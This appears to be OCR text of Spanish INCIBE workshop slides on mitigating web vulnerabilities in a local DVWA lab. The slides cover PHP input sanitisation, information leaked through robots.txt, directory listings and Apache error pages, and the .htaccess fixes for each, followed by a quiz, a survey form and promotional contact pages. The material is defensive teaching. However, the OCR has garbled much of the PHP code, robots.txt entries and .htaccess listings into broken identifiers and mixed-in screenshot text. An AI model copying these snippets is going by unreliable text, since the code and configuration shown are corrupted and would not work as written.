tmessage = stripslashes($message);
tmessage = mysql_real escape string($message);

// Sanitize name input
tname = mysql_real escape string($name);

® Validamos con la funcion htmlspecialchars la entrada del usuario:

// Sanitize message input
$message = stripslashes($message);
R A= e = ] (] - - o= ingl{$me Sage];

$message tmlspecialchars($message);

// Sanitize name input
$name = stripslashes($name);
$name = mysql real escape string($name);

phame = mLspeclalcharsiinams);

® | i
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Mitigacion de vulnerabilidades en servidores

El fichero robots.txt

* Elfichero robots.txt es un método para evitar que ciertos bots de motores de
busqueda que analizan aplicaciones webs indexen informacion no deseada
en sus resultados de busqueda.

® Las rutas especificadas en dicho fichero seran excluidas por el bot, las cuales
no se analizaran ni seran referenciadas posteriormente.

®* Una mala implementacion del fichero puede revelar rutas sensibles, de
administracion o ficheros privados.

€ & https://www.google.es/robots. bt

User-agent: *
Disallow: /3earch
Disallow: /fadch
Disallow: /fgroups
Digallow: fimages
Dizallow: Scatalogs
Allow: fcatalogs/about
Mlow: fcatalega/p?
Disallow: /catalogues
Bllow: /newsalerts
Disallow: /news

Mlow: /news/directory

@ | i
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Obteniendo informacion del fichero robots.txt

® Accedemos a la ruta:
localhost/dvwa/robots.txt

®* Analizamos las rutas especificadas.

* Verificamos como dichas rutas existen y se exponen a cualquier atacante que
busque informacion o vectores de ataque sobre la aplicacion.

« | ¥ localhost/dvwalrobots, txt * * [ @ localhost/d
Drsailov: Jdocs/ Index of /dvwa/hackable

Disallow: sexternals
Disallow: fconfig/

Disallow: Sdvwa/ 1 l lified . .
Disallow: shackables Name Size Descriplion

Disallow: swulnerabilities/

o Parent Directory

C) uploads/ 20-Nov-2014 18:52
a users/ 01-May-2013 15:46

Apache/2.2.22 (Debian) Server at localhost Port 80
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Mitigacion de vulnerabilidades en servidores

Minimizando la exposicion de informacion en robots.txt

* Elfichero robots.txt es interpretado por cada bot de manera independiente.

®* Se recomienda minimizar en la medida de lo posible el uso de restricciones
con dicho fichero.

® En caso de considerarse necesario, se recomienda indexar directorios raices
gue no revelen rutas comprometidas:

Disallow: / Disallow: /inicio/admin
0 VS Disallow: /inicio/docs
Disallow: /inicio Disallow: /inicio/config
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Eliminando informacion de robots.txt

® Abrimos el fichero robots.txt con un editor:
gedit /var/www/dvwa/robots.txt

* Unicamente dejamos una directriz para que no indexe ningun subdirectorio
de la aplicacion.

€ | @ Locathost/dvwa

User-agent: *
Disallow: /
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Mitigacion de vulnerabilidades en servidores

El listado de directorios

® Cuando se accede a una ruta en un servidor, este normalmente busca un
fichero por defecto para mostrar al usuario, normalmente el fichero
index.html.

® Esta informacion puede ser
utilizada por un atacante para ver
los contenidos de determinada Index of /

ruta, asi como ficheros no

MName
indexados o informacion acerca del
servidor. code/
share/
uzer . php

welcome. php

® Por motivos de seguridad, se
recomienda deshabilitar  esta
opcioén en los servidores
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Obteniendo informacion del listado de directorios

® Accedemos a la ruta:
localhost/dvwa/hackable/users

® (QObservamos como se muestra un listado de directorios con diversas
imagenes de los usuarios del sistema.

@ B @ ocalhost/dvwarhackabls
Index of /dvwa/hackable/users

Name Last modified Size Description
& Parent Directory -
M 1337.ipgd 01-May-2013 15:46 3.6K
admin.ipg 01-May-2013 15:46 3.5K
gordonb.jpg  01-May-2013 15:46 3.0K
pablo.ipg 01-May-2013 15:46 2.9K
smithy.jpg 01-May-2013 15:46 4.3K

Apache/2.2.22 (Debian) Server at localhost Port 80
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Eliminando el listado de directorios ()

®* Habilitamos la sobre escritura del fichero .htaccess:

a2enmod rewrite

®* Abrimos el fichero:
gedit /etc/apache2/sites-avaiable/default

* Y modificamos las directivas AllowOverride:
AllowOverride All

®* Reiniciamos Apache para que se actualicen las directivas:
service apache?2 restart

® Una vez realizado lo anterior, la modificacion de .htaccess se cargara
automaticamente.
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Eliminando el listado de directorios (ll)

* Abrimos con un editor el fichero .htaccess:
gedit /var/www/dvwa/.htaccess
* Anadimos la linea:
Options -Indexes
1 # Only set these 1f PHP S 1s loaded as an apache module 8 [@ Localhost
2 <IfM<f)¢liule mod_phpS.c> ”
3 php_flag magic_quotes_gpc O *
4 #php_flag a?lw_url_fopen on Forbidden
2 :‘;?’f)ﬁi]is eillow'url'lnC1Ude on You don't have permission to access /dvwafhackablefusersf on this server,
7
8 # Only set these 1f PHP 4 1s loaded as an apache module Apache/2.2.22 (Debian) Server at locathost Port 80
9 <IfModule mod_phpd.c>
10 php_flag ma%xc_quotes_gpc of f
11 #php_flag allow_url_fopen on
12 #php_flag allow_url_include on
13 </IfModule>
14
15 # Limt access to localhost
16 #<lamt GET POST PUT>
17 # order deny,allow
18 # deny from all
19 allow from 127.0.0.1
20 #</L1mit>
21
22 Options -Indexes
$incibe_
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Mitigacion de vulnerabilidades en servidores

Informacion en los mensajes de error

®* Un mensaje de error mal tratado puede provocar la exposicion de
informacion del servidor

®* Esta informacidon puede ser utilizada por un atacante para buscar ataques
especificos para la tecnologia de dicho servidor.

‘ Y localhost/d
Not Found
The requested URL /dvwa/aaaaaaaaaaaaa was not found on this server.

Apache/2.2.22 (Debian) Server at localhost Port 80
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Mitigacion de vulnerabilidades en aplicaciones

Practica: Estableciendo mensajes de error personalizados

® Abrimos con un editor el fichero .htaccess:
gedit /var/www/dvwa/.htaccess

®* Anadimos lineas que definan los mensajes para diferentes codigos de error:

ErrorDocument 404 “Mensaje de error 1”
ErrorDocument 500 “Mensaje de error 2”

# only set these 1f PHP 5 15 loaded as an apache module * T
<IfModule mod_phpS.cs> ¥ localhost
php_flag magic_quotes_gpc Off
#php_flag allow_url_fopen on LA RUTA QUE BUSCAS NO EXISTE
#php_flag allow_url_include on

-c,-'IfModu%E:

# Only set these 1f PHP 4 15 loaded as an apache module
<IfModule mod_phpd.c>

php_flag magic_quotes gpc Off

#php_flag allow_url_fopen on

#php_flag allow_url_include on

thfHodu?E?

# Limit access to Localhost
#<Limut GET POST PUT=>

# order deny,allow

# deny from all

allow from 127.0.0.1
FojLimit>

Options -Indexes

ErrorDocument 404 *LA RUTA QUE BUSCAS NO EXISTE®

TR I T .
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Resumen

¢Qué hemos aprendido hoy?

®* Los principios de la seguridad web.
®* Laimportancia de tener en cuenta la seguridad desde la fase de desarrollo.

® Principales vulnerabilidades a causa de deficiencias del cddigo fuente:
® SQL Injection.

Evasion de sistemas de autenticacion.

File Inclusion.

Cross-Site Scripting.

® Principales vulnerabilidades a causa de fallos de configuracion del servidor:
®  Exposicion de directorios en el fichero robots.txt.
®  Revelacion de informacién en paginas de error.
"  Exposicion de ficheros no indexados en el listado de directorios.
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Resumen

Cuestiones

1. ¢éEn qué consisten y como se mitigan las vulnerabilidades SQL Injection?

2.  ¢En qué consisten y como se mitigan las vulnerabilidades XSS? ¢Cual es la
diferencia entre XSS reflejado y almacenado?

3. ¢Como se mitigan las vulnerabilidades Local File Inclusion?

4. ¢Cual es la funcion del fichero robots.txt?
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Resumen
Respuestas

1. Este tipo de inyeccion consiste en anadir codigo SQL a las consultas que se
realizan de forma legitima en la pagina, para que el sistema realice acciones
no programadas por defecto en la Base de Datos.

2. XSS es una vulnerabilidad que se aprovecha de los datos de entrada que no
son validados correctamente y ejecuta cddigo malicioso en el ordenador de
la victima. Se mitiga validando las entradas. El XSS reflejado y almacenado
se diferencian en el lugar donde se incluye el codigo malicioso. Los ataques
de XSS reflejado se suelen encontrar en motores de busqueda, los ataques
XSS almacenado suelen estar en foros o webs.

3. Se mitigan realizando un correcto filtrado de los parametros de la variable.

4. El fichero robots.txt se utiliza para evitar que ciertos bots de motores de
busqueda que analizan aplicaciones webs indexen informacion no deseada
en sus resultados de busqueda.
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Encuesta de satisfaccion

¢ iNcibe

y INSTITUTO NACIONAL DE CIBERSEGURIDAD

Encuesta satisfaccion

Estimado alumno, te agradecemos que hayas asistido a esta Jomada y esperamos que te haya
resultado interesante. Nos gustaria conocer tu opinion de cara a poder mejorar en las proximas
Jormadas, por este motivo te pedimos que, por favor, reflenes esta encuesta

La encuesta es totalmente anonima y no se recabard ningun dato personal tuyo

iMuchas gracias pot tu colaboracion!

“Oblgatono
Nombre de la jornada *
-
Fecha y hora de la jornada *
Dia V] [Mes V] [2015 V| h_vi
Datos generales
Noamhee de 111 centn de estudios *

min VvV
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Actuaciones

I+D+i y Promocion de Talento en Ciberseguridad

Este taller y el resto de las Jornadas “Espacio de Ciberseguridad” forman parte del «Eje V: Programa de
Excelencia en Ciberseguridad» dentro del Plan de Confianza Digital del Ministerio de Industria, Energia
y Turismo (MINETUR) que se esta llevando a cabo desde INCIBE para la promocidn y captacidon de
talento en Ciberseguridad.

Si te gusta la ciberseguridad y quieres profundizar en este tema, dentro del Plan de Confianza Digital se estan
desarrollando las siguientes actividades y eventos de ciberseguridad:

s incibe__

Formacion especializada en ciberseguridad: MOOC que se desarrollan a través de la plataforma de
formacion de INCIBE (http://formacion-online.incibe.es) sobre conceptos avanzados en
ciberseguridad tales como ciberseguridad industrial, seguridad en dispositivos moviles, programacién
segura, malware y sistemas TI.

Programa de becas: Programa de becas anual en el que se estableceran diferentes tipologias de
becas: formacion de cursos especializados y masteres en ciberseguridad, y becas de investigacion.
Todas las publicaciones de este tipo se realizara a través de la siguiente pagina
https://www.incibe.es/convocatorias/ayudas/.

Evento de ciberseguridad — CyberCamp (http://cybercamp.es).
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http://formacion-online.incibe.es/
https://www.incibe.es/convocatorias/ayudas/
http://cybercamp.es/

CyberCamp es el evento internacional de INCIBE para identifica I,
y promocionar el talento en ciberseguridad.

— Identificar trayectorias profesionales de los jovenes talento.

— Detectar y promocionar el talento mediante talleres y retos técnicos.

— Atraer el talento ofreciendo conferencias y charlas de ciberseguridad
por profesionales y expertos de primer nivel.

Y muchas cosas mas....

— Evento para familias, contando con actividades de concienciacion vy
difusion de la ciberseguridad para padres, educadores e hijos.

— Promocidn de la industria e investigacion en ciberseguridad.

Pr, -- https://cybercamp.es/

‘Q ‘* ’ https://twitter.com/CybercampEs
v
~ ‘ ;m ﬁ https://www.facebook.com/CyberCampEs

® | i
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https://cybercamp.es/
https://twitter.com/CybercampEs
https://www.facebook.com/CyberCampEs

Contacto (mas informacion y dudas sobre las jornadas):

y espaciosciberseguridad@incibe.es
por tu atenCIén En las redes sociales:

Gracias

@incibe
@certsi Oficina de Seguridad del internauta
@osiseguridad (Pienso luego clico)
@CyberCampES
INCIBE Oficina de Seguridad del internauta
You i OSlseguridad n CyberCamp
CO n ta’ Cta n O S m Zz:ﬁplcl)\llcl\llillEBE Oficina de Seguridad del internauta
En la sede: En los sitios web:
Avenida José Aguado, 41 - Edificio INCIBE www.incibe.es
24005 Ledn WWW.0si.es
TIf. 987 877 189 www.cybercamp.es

www.incibe.es g I n c i b E e

INSTITUTO NACIONAL DE

CIBERSEGURIDAD
‘GOBIERNO MINISTERIO
NATIONAL CYBERSECURITY fﬁ‘i DEESPANA  DEINDUSTRIA, ENERGIA
INSTITUTE OF SPAIN




